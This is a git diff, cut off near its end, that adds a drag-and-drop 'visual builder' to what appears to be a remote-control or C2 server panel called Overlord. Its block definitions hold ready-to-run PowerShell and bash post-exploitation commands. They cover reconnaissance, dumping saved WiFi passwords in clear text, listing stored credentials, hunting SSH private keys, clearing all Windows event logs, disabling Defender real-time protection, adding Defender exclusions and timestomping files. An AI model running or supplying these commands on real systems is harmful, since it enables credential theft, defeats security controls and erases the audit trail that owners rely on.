diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js index 0df9ddd..744161b 100644 --- a/Overlord-Server/public/assets/scripts.js +++ b/Overlord-Server/public/assets/scripts.js @@ -622,4 +622,39 @@ if (window.CodeMirror && scriptEditor) { lineWrapping: true, }); editorInstance.setSize(null, "100%"); + window._vbCodeMirror = editorInstance; } + +const modeToggleCode = document.getElementById("mode-toggle-code"); +const modeToggleVisual = document.getElementById("mode-toggle-visual"); +const codeEditorSection = document.getElementById("code-editor-section"); +const visualBuilderSection = document.getElementById("visual-builder-section"); +const rightColumn = codeEditorSection?.parentElement?.querySelector(".lg\\:col-span-1"); +let visualBuilderInited = false; + +function setMode(mode) { + if (mode === "visual") { + codeEditorSection?.classList.add("hidden"); + if (rightColumn) rightColumn.classList.add("hidden"); + visualBuilderSection?.classList.remove("hidden"); + modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white"; + modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700"; + if (!visualBuilderInited) { + import("/assets/visual-builder.js").then((mod) => { + const container = document.getElementById("visual-builder-container"); + if (container) mod.initVisualBuilder(container); + visualBuilderInited = true; + }); + } + } else { + codeEditorSection?.classList.remove("hidden"); + if (rightColumn) rightColumn.classList.remove("hidden"); + visualBuilderSection?.classList.add("hidden"); + modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white"; + modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700"; + if (editorInstance) editorInstance.refresh(); + } +} + +modeToggleCode?.addEventListener("click", () => setMode("code")); +modeToggleVisual?.addEventListener("click", () => setMode("visual")); diff --git a/Overlord-Server/public/assets/visual-builder.js b/Overlord-Server/public/assets/visual-builder.js new file mode 100644 index 0000000..723dc83 --- /dev/null +++ b/Overlord-Server/public/assets/visual-builder.js @@ -0,0 +1,516 @@ +const BLOCK_CATEGORIES = { + recon: { + label: "Recon", + icon: "fa-solid fa-magnifying-glass", + color: "emerald", + blocks: [ + { id: "whoami", label: "Whoami", desc: "Current user identity", ps: "whoami /all", bash: "id; whoami" }, + { id: "sysinfo", label: "System Info", desc: "OS and hardware details", ps: "Get-ComputerInfo | Select-Object CsName, WindowsVersion, OsArchitecture", bash: "uname -a; cat /etc/os-release 2>/dev/null" }, + { id: "ipconfig", label: "Network Info", desc: "IP addresses and interfaces", ps: "Get-NetIPAddress | Where-Object {$_.AddressFamily -eq 'IPv4'} | Select-Object IPAddress, InterfaceAlias", bash: "ip addr 2>/dev/null || ifconfig" }, + { id: "processes", label: "Top Processes", desc: "CPU-heavy processes", ps: "Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 Name, CPU, WorkingSet", bash: "ps aux --sort=-%cpu | head -20" }, + { id: "netstat", label: "Active Connections", desc: "Open network connections", ps: "Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'} | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort", bash: "netstat -tunap 2>/dev/null || ss -tunap" }, + { id: "localusers", label: "Local Users", desc: "Enumerate local accounts", ps: "Get-LocalUser | Select-Object Name, Enabled, LastLogon | Format-Table -AutoSize", bash: "cat /etc/passwd | grep -v nologin | grep -v false" }, + { id: "env", label: "Environment Vars", desc: "List environment variables", ps: "Get-ChildItem Env: | Sort-Object Name | Format-Table -AutoSize", bash: "env | sort" }, + { id: "diskusage", label: "Disk Usage", desc: "Storage information", ps: "Get-PSDrive -PSProvider FileSystem | Select-Object Name, Used, Free, Root", bash: "df -h" }, + ], + }, + files: { + label: "Files", + icon: "fa-solid fa-folder-open", + color: "blue", + blocks: [ + { id: "ls", label: "List Directory", desc: "List files in path", ps: "Get-ChildItem -Path \"{path}\" -Force | Select-Object Mode, LastWriteTime, Length, Name", bash: "ls -la \"{path}\"", fields: [{ key: "path", label: "Path", placeholder: "C:\\ or /tmp", default: "." }] }, + { id: "cat", label: "Read File", desc: "Display file contents", ps: "Get-Content -Path \"{path}\"", bash: "cat \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\file.txt" }] }, + { id: "find", label: "Find Files", desc: "Search for files by pattern", ps: "Get-ChildItem -Path \"{path}\" -Recurse -Filter \"{pattern}\" -ErrorAction SilentlyContinue | Select-Object FullName, Length", bash: "find \"{path}\" -name \"{pattern}\" 2>/dev/null", fields: [{ key: "path", label: "Search Path", placeholder: "/", default: "." }, { key: "pattern", label: "Pattern", placeholder: "*.txt", default: "*" }] }, + { id: "mkdir", label: "Create Directory", desc: "Create a new directory", ps: "New-Item -ItemType Directory -Path \"{path}\" -Force", bash: "mkdir -p \"{path}\"", fields: [{ key: "path", label: "Directory Path", placeholder: "C:\\new_folder" }] }, + { id: "rmfile", label: "Delete File", desc: "Remove a file", ps: "Remove-Item -Path \"{path}\" -Force", bash: "rm -f \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\temp\\file.txt" }] }, + ], + }, + security: { + label: "Security", + icon: "fa-solid fa-shield-halved", + color: "amber", + blocks: [ + { id: "avcheck", label: "AV Status", desc: "Check antivirus products", ps: "$av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue; if ($av) { $av | Select-Object displayName, pathToSignedProductExe } else { 'No AV data' }", bash: "echo 'AV check not applicable on Linux'" }, + { id: "defender", label: "Defender Status", desc: "Windows Defender health", ps: "Get-MpComputerStatus | Select-Object AMServiceEnabled, AntivirusEnabled, RealTimeProtectionEnabled", bash: "echo 'Defender not available on Linux'" }, + { id: "defenderexcl", label: "Defender Exclusions", desc: "Show exclusion paths", ps: "$p = Get-MpPreference; 'Exclusion Paths:'; $p.ExclusionPath; 'Exclusion Processes:'; $p.ExclusionProcess", bash: "echo 'Defender not available on Linux'" }, + { id: "firewall", label: "Firewall Rules", desc: "List firewall configuration", ps: "Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'} | Select-Object -First 20 DisplayName, Direction, Action", bash: "iptables -L -n 2>/dev/null || ufw status 2>/dev/null || echo 'No firewall info'" }, + { id: "langmode", label: "PS Language Mode", desc: "Check CLM status", ps: "Write-Host 'Language Mode:' $ExecutionContext.SessionState.LanguageMode", bash: "echo 'PowerShell not available'" }, + ], + }, + privesc: { + label: "Priv Esc", + icon: "fa-solid fa-arrow-up-right-dots", + color: "red", + blocks: [ + { id: "privileges", label: "Token Privileges", desc: "Current token privileges", ps: "whoami /priv", bash: "id; groups" }, + { id: "suid", label: "SUID Binaries", desc: "Find SUID files (Linux)", ps: "echo 'Not applicable on Windows'", bash: "find / -perm -4000 -type f 2>/dev/null | sort" }, + { id: "sudo", label: "Sudo Rules", desc: "Check sudo permissions", ps: "echo 'Not applicable on Windows'", bash: "sudo -l 2>/dev/null || echo 'No sudo access'" }, + { id: "unquoted", label: "Unquoted Service Paths", desc: "Potential hijack targets", ps: "Get-WmiObject Win32_Service | Where-Object {$_.PathName -like '* *' -and -not $_.PathName.StartsWith([char]34)} | Select-Object Name, PathName, State", bash: "echo 'Not applicable on Linux'" }, + { id: "schtasks", label: "Scheduled Tasks", desc: "Non-Microsoft tasks", ps: "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\\Microsoft*'} | Select-Object TaskName, TaskPath, State | Format-Table -AutoSize", bash: "crontab -l 2>/dev/null; echo '---'; ls /etc/cron.d/ 2>/dev/null" }, + { id: "capabilities", label: "Linux Capabilities", desc: "Binaries with caps", ps: "echo 'Not applicable on Windows'", bash: "getcap -r / 2>/dev/null || echo 'getcap not available'" }, + ], + }, + persist: { + label: "Persistence", + icon: "fa-solid fa-link", + color: "purple", + blocks: [ + { id: "regrun", label: "Registry Run Keys", desc: "Check autorun entries", ps: "Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ErrorAction SilentlyContinue; Get-ItemProperty -Path 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ErrorAction SilentlyContinue", bash: "echo 'Not applicable on Linux'" }, + { id: "startup", label: "Startup Folder", desc: "List startup items", ps: "Get-ChildItem \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" -Force -ErrorAction SilentlyContinue", bash: "ls ~/.config/autostart/ 2>/dev/null" }, + { id: "services", label: "Running Services", desc: "Active services", ps: "Get-Service | Where-Object {$_.Status -eq 'Running'} | Sort-Object DisplayName | Select-Object -First 30 Name, DisplayName", bash: "systemctl list-units --type=service --state=running 2>/dev/null | head -30" }, + { id: "cronjobs", label: "Cron Jobs", desc: "Scheduled cron entries", ps: "echo 'Not applicable on Windows'", bash: "echo '=== User Crontab ==='; crontab -l 2>/dev/null; echo '=== /etc/crontab ==='; cat /etc/crontab 2>/dev/null" }, + ], + }, + credentials: { + label: "Credentials", + icon: "fa-solid fa-key", + color: "orange", + blocks: [ + { id: "credman", label: "Credential Manager", desc: "Stored credentials", ps: "cmdkey /list", bash: "echo 'Not applicable on Linux'" }, + { id: "sshkeys", label: "SSH Keys Hunt", desc: "Find SSH private keys", ps: "Get-ChildItem -Path $env:USERPROFILE\\.ssh -Force -ErrorAction SilentlyContinue", bash: "find /home /root -maxdepth 4 \\( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' \\) 2>/dev/null" }, + { id: "pshistory", label: "PS History", desc: "PowerShell command history", ps: "Get-Content (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue | Select-Object -Last 50", bash: "cat ~/.bash_history 2>/dev/null | tail -50" }, + { id: "wifi", label: "WiFi Passwords", desc: "Saved WiFi credentials", ps: "netsh wlan show profiles | ForEach-Object { if ($_ -match 'All User Profile\\s*:\\s*(.+)$') { $name = $matches[1].Trim(); $detail = netsh wlan show profile name=$name key=clear; $key = ($detail | Select-String 'Key Content').ToString().Split(':')[1].Trim(); \"$name : $key\" } }", bash: "echo 'Use nmcli on Linux'" }, + ], + }, + evasion: { + label: "Evasion", + icon: "fa-solid fa-mask", + color: "rose", + blocks: [ + { id: "clearevt", label: "Clear Event Logs", desc: "Wipe Windows event logs", ps: "Get-EventLog -LogName * | ForEach-Object { Clear-EventLog -LogName $_.Log -ErrorAction SilentlyContinue }; Write-Host 'Event logs cleared'", bash: "echo 'Use journalctl --vacuum-time=0 on Linux'" }, + { id: "disabledef", label: "Disable Defender RT", desc: "Turn off realtime protection", ps: "Set-MpPreference -DisableRealtimeMonitoring $true; Write-Host 'Realtime monitoring disabled'", bash: "echo 'Not applicable on Linux'" }, + { id: "addexclusion", label: "Add Defender Exclusion", desc: "Add path exclusion", ps: "Add-MpPreference -ExclusionPath \"{path}\"; Write-Host 'Exclusion added:' \"{path}\"", bash: "echo 'Not applicable on Linux'", fields: [{ key: "path", label: "Exclusion Path", placeholder: "C:\\Tools" }] }, + { id: "timestomp", label: "Timestomp File", desc: "Modify file timestamps", ps: "(Get-Item \"{path}\").LastWriteTime = \"{date}\"; (Get-Item \"{path}\").CreationTime = \"{date}\"", bash: "touch -t \"{date}\" \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\file.exe" }, { key: "date", label: "Date", placeholder: "01/01/2023 12:00:00", default: "01/01/2023 00:00:00" }] }, + ], + }, + custom: { + label: "Custom", + icon: "fa-solid fa-code", + color: "slate", + blocks: [ + { id: "customcmd", label: "Custom Command", desc: "Run any command", ps: "{cmd}", bash: "{cmd}", fields: [{ key: "cmd", label: "Command", placeholder: "Enter your command...", textarea: true }] }, + { id: "sleep", label: "Sleep / Delay", desc: "Wait between commands", ps: "Start-Sleep -Seconds {seconds}", bash: "sleep {seconds}", fields: [{ key: "seconds", label: "Seconds", placeholder: "5", default: "5" }] }, + { id: "echo", label: "Echo / Print", desc: "Print a message", ps: "Write-Host \"{message}\"", bash: "echo \"{message}\"", fields: [{ key: "message", label: "Message", placeholder: "Hello from Overlord" }] }, + ], + }, +}; + +const COLOR_MAP = { + emerald: { bg: "bg-emerald-900/40", border: "border-emerald-700/60", text: "text-emerald-300", hover: "hover:bg-emerald-800/40", dragBg: "bg-emerald-900/60" }, + blue: { bg: "bg-blue-900/40", border: "border-blue-700/60", text: "text-blue-300", hover: "hover:bg-blue-800/40", dragBg: "bg-blue-900/60" }, + amber: { bg: "bg-amber-900/40", border: "border-amber-700/60", text: "text-amber-300", hover: "hover:bg-amber-800/40", dragBg: "bg-amber-900/60" }, + red: { bg: "bg-red-900/40", border: "border-red-700/60", text: "text-red-300", hover: "hover:bg-red-800/40", dragBg: "bg-red-900/60" }, + purple: { bg: "bg-purple-900/40", border: "border-purple-700/60", text: "text-purple-300", hover: "hover:bg-purple-800/40", dragBg: "bg-purple-900/60" }, + orange: { bg: "bg-orange-900/40", border: "border-orange-700/60", text: "text-orange-300", hover: "hover:bg-orange-800/40", dragBg: "bg-orange-900/60" }, + rose: { bg: "bg-rose-900/40", border: "border-rose-700/60", text: "text-rose-300", hover: "hover:bg-rose-800/40", dragBg: "bg-rose-900/60" }, + slate: { bg: "bg-slate-800/60", border: "border-slate-600", text: "text-slate-300", hover: "hover:bg-slate-700/60", dragBg: "bg-slate-800/80" }, +}; + +let canvasBlocks = []; +let blockIdCounter = 0; +let draggedBlockDef = null; +let dragGhost = null; + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +function findBlockDef(blockId) { + for (const cat of Object.values(BLOCK_CATEGORIES)) { + const found = cat.blocks.find((b) => b.id === blockId); + if (found) return { ...found, color: cat.color }; + } + return null; +} + +function renderPalette(container) { + container.innerHTML = ""; + for (const [catKey, cat] of Object.entries(BLOCK_CATEGORIES)) { + const colors = COLOR_MAP[cat.color] || COLOR_MAP.slate; + const section = document.createElement("div"); + section.className = "mb-3"; + + const header = document.createElement("button"); + header.className = `w-full flex items-center gap-2 px-3 py-2 rounded-lg ${colors.bg} ${colors.border} border text-sm font-semibold ${colors.text} ${colors.hover} transition-colors`; + header.innerHTML = ` ${cat.label} ${cat.blocks.length}`; + header.addEventListener("click", () => { + const list = section.querySelector(".block-list"); + list.classList.toggle("hidden"); + }); + section.appendChild(header); + + const list = document.createElement("div"); + list.className = "block-list flex flex-col gap-1 mt-1 pl-2 hidden"; + + for (const block of cat.blocks) { + const item = document.createElement("div"); + item.className = `flex items-center gap-2 px-3 py-2 rounded-lg border ${colors.border} ${colors.bg} cursor-grab text-sm ${colors.hover} transition-colors select-none`; + item.draggable = true; + item.dataset.blockId = block.id; + item.innerHTML = `${block.label}${block.desc}`; + + item.addEventListener("dragstart", (e) => { + draggedBlockDef = { ...block, color: cat.color }; + e.dataTransfer.effectAllowed = "copy"; + e.dataTransfer.setData("text/plain", block.id); + item.classList.add("opacity-50"); + setTimeout(() => { + document.getElementById("vb-canvas")?.classList.add("ring-2", "ring-emerald-500/40"); + }, 0); + }); + item.addEventListener("dragend", () => { + draggedBlockDef = null; + item.classList.remove("opacity-50"); + document.getElementById("vb-canvas")?.classList.remove("ring-2", "ring-emerald-500/40"); + }); + + list.appendChild(item); + } + + section.appendChild(list); + container.appendChild(section); + } +} + +function addBlockToCanvas(blockDef, fieldValues) { + const instance = { + uid: ++blockIdCounter, + id: blockDef.id, + color: blockDef.color, + label: blockDef.label, + desc: blockDef.desc, + ps: blockDef.ps, + bash: blockDef.bash, + fields: (blockDef.fields || []).map((f) => ({ + ...f, + value: fieldValues?.[f.key] ?? f.default ?? "", + })), + }; + canvasBlocks.push(instance); + renderCanvas(); + updatePreview(); +} + +function renderCanvas() { + const canvas = document.getElementById("vb-canvas"); + if (!canvas) return; + + if (canvasBlocks.length === 0) { + canvas.innerHTML = `
(empty — add blocks to the canvas)+